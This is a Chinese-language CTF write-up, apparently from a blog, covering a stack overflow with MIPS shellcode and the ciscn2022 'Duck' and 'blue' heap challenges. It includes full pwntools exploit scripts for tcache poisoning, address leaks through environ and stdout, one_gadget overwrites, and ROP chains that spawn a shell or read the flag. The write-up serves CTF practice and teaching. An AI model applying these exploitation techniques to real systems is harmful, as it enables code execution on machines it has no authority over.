lVar3 = strtol(pcVar4 + 1,(char **)0x0,10);
printf("%d + %d = %d\n",lVar2,lVar3,lVar3 + lVar2);
if (lVar3 + lVar2 == 0x133a05e) {
puts("Thanks,Bye~");
return 0;
}
}
uVar5 = 0x80;
iVar1 = _IO_getc(stdin);
pcVar4 = buf;
if (-1 < iVar1) goto LAB_004009a4;
LAB_00400ad4:
if (pcVar4 == buf) {
return 0;
}
} while( true );
}

猜对随机数给buf的栈地址,随机种子是由srand(0x123456)生成的,即为固定值。

buf放的是输入内容,而程序接受输入的时候是遇到\n才停止,所以存在输入过长导致栈溢出的问题,通过溢出跳到shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dll = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
dll.srand(0x123456)
key = dll.rand()

sla("help.\n", str(key))
ru("was 0x")
buf = int(rl().strip(),16)
inf(buf)

shellcode = b""
shellcode += b"\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += b"\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += b"\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += b"\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"

# print(disasm(shellcode))
payload = b'0'*4 + shellcode.ljust(0x70 - 4, b'0') + p32(buf + 4)
sl(payload)
sl("exit")
ia()

0x0E ciscn2022 Duck

glibc2.34 没有hook函数,tcache存在异或加密机制,

题目存在UAF,可以对已经free的chunk进行show和edit,所以先泄露出libc_base和heap_base,之后就可以修改tcache的fd构造链

两种做法,一种是通过environ泄露栈地址,然后能够控制栈地址进行ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
io = start()
def add():
sla("Choice:","1")

def edit(idx,size,con):
sla("Choice:","4")
sla("Idx",str(idx))
sla("Size:",str(size))
sa("Content:",con)

def show(idx):
sla("Choice","3")
sla("Idx",str(idx))

def delete(idx):
sla("Choice","2")
sla("Idx",str(idx))

for i in range(9):
add()
for i in range(7):
delete(i)
delete(7)
show(7)
# gdb.attach(io,'b *$rebase(0x0004060)')
libc_base = l64() - 0x1f2cc0
inf(libc_base)
show(0)
heap_base = u64(ru(b"\nDone")[-5:].ljust(8,b'\x00')) << 12
inf(heap_base)
for i in range(5):
add()
environ_addr=libc_base+libc.sym['environ']
edit(1,0x10,p64((heap_base>>12) ^ environ_addr) + p64(0))
add()
add()

show(15)
stack = l64() - 0x168
inf(stack)

delete(9)
delete(10)
edit(10,0x10,p64((heap_base>>12) ^ stack) + p64(0))
add()
add()

system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
payload = p64(0)*3 + p64(pop_rdi) + p64(binsh) + p64(system)
edit(17,0x30,payload)
# gdb.attach(io,'b *$rebase(0x01688)')
ia()

第二种是利用puts时会调用_IO_new_file_overflow刷新缓冲区,所以利用uaf申请到_IO_file_jumps这里修改_IO_new_file_overflow为one_gadget即可getshell

image-20230510213118897

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
for i in range(9):
add()
for i in range(7):
delete(i)
delete(7)
show(7)
# gdb.attach(io,'b *$rebase(0x0004060)')
libc_base = l64() - 0x1f2cc0
inf(libc_base)
show(0)
heap_base = u64(ru(b"\nDone")[-5:].ljust(8,b'\x00')) << 12
inf(heap_base)
for i in range(5):
add()

_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
inf(_IO_file_jumps)
edit(1,0x10,p64((heap_base>>12) ^ _IO_file_jumps) + p64(0))
add()
add()
ogg = [0xda861,0xda864,0xda867]
og = libc_base + ogg[1]
gdb.attach(io)
edit(15,0x20,p64(0)*3 + p64(og))

另外有个题是禁用了system,那么在栈上构造orw读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
open_ = libc_base + libc.sym['open']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
# inf(open_);inf(read_);inf(write_)
pop_rdi = libc_base + 0x0000000000028a55
pop_rsi = libc_base + 0x000000000002a4cf
pop_rdx = libc_base + 0x00000000000c7f32
heap2 = heap_base + 0x4c0
heap3 = heap_base + 0x5d0
edit(3,0x8,b'./flag\x00\x00')
payload = p64(0)*3
payload += p64(pop_rdi) + p64(heap3) + p64(pop_rsi) + p64(0) +p64(open_) \
+ p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap2) +p64(pop_rdx) + p64(0x30) + p64(read_) \
+ p64(pop_rdi) + p64(1) + p64(write_)

# gdb.attach(io)
edit(17,0x100,payload)

0x0F ciscn2022 blue

glibc-2.31,题目开了沙盒,提供一次show,一次uaf,最大申请0x90堆块,最多32个,free正常。通过泄露environ,在栈上写orw读取flag。

先填满tcache,再一个进unsortedbin1,利用uaf泄露libc基址。这里难点是,需要两块unsortedbin1,2合并为大块3,之后add出一个tcache,由于存在uaf,所以可以再一次free unsortedbin1(由于已经合并,所以可以绕过bins检查,存在double free),这样unsortedbin1就进入了tcache链尾,造成了overlap。

image-20230513195947928

红色为大块3,里面是unsortedbin1,现在已经被链入tcache。由于show的次数用完,所以通过stdout进行泄露,之后修改unsortedbin1的fd为_IO_2_1_stdout_,将flags标志改掉(绕过检查),再将write_base和write_ptr & write_end改成environ和environ + 8,泄露出environ的值。之后继续修改tcache链,申请到栈上构造rop即可。

(tcache要保证数量合法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
io = start()
def add(size,con):
sla("Choice:","1")
sla("size:",str(size))
sa("content:",con)

def show(idx):
sla("Choice:","3")
sla("idx:",str(idx))

def delete(idx):
sla("Choice:","2")
sla("idx:",str(idx))

def uaf(idx):
sla("Choice:","666")
sla("idx:",str(idx))

for i in range(10):
add(0x90,'a')
for i in range(7):
delete(i)

uaf(8)
show(8)
libc_base = l64() - 0x1ecbe0
inf(libc_base)
environ = libc_base + libc.sym['environ']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']

delete(7)
add(0x90,'0')
delete(8)
add(0x80,'1')
add(0x80,p64(0) + p64(0xa1) + p64(stdout))
add(0x90,'3')
add(0x90, p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2)
stack = l64() - 0x128
inf(stack)

delete(3)
delete(2)
add(0x80,p64(0) + p64(0xa1) + p64(stack))
add(0x90,'b')

open_ = libc_base + libc.sym['open']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
# inf(open_);inf(read_);inf(write_)
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
flag = stack
addr = stack + 0x100

payload = b'./flag\x00\x00'
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) +p64(open_) \
+ p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(addr) +p64(pop_rdx) + p64(0x30) + p64(read_) \
+ p64(pop_rdi) + p64(1) + p64(write_)

add(0x90,payload)

# gdb.attach(io,'b *$rebase(0x004080)')
ia()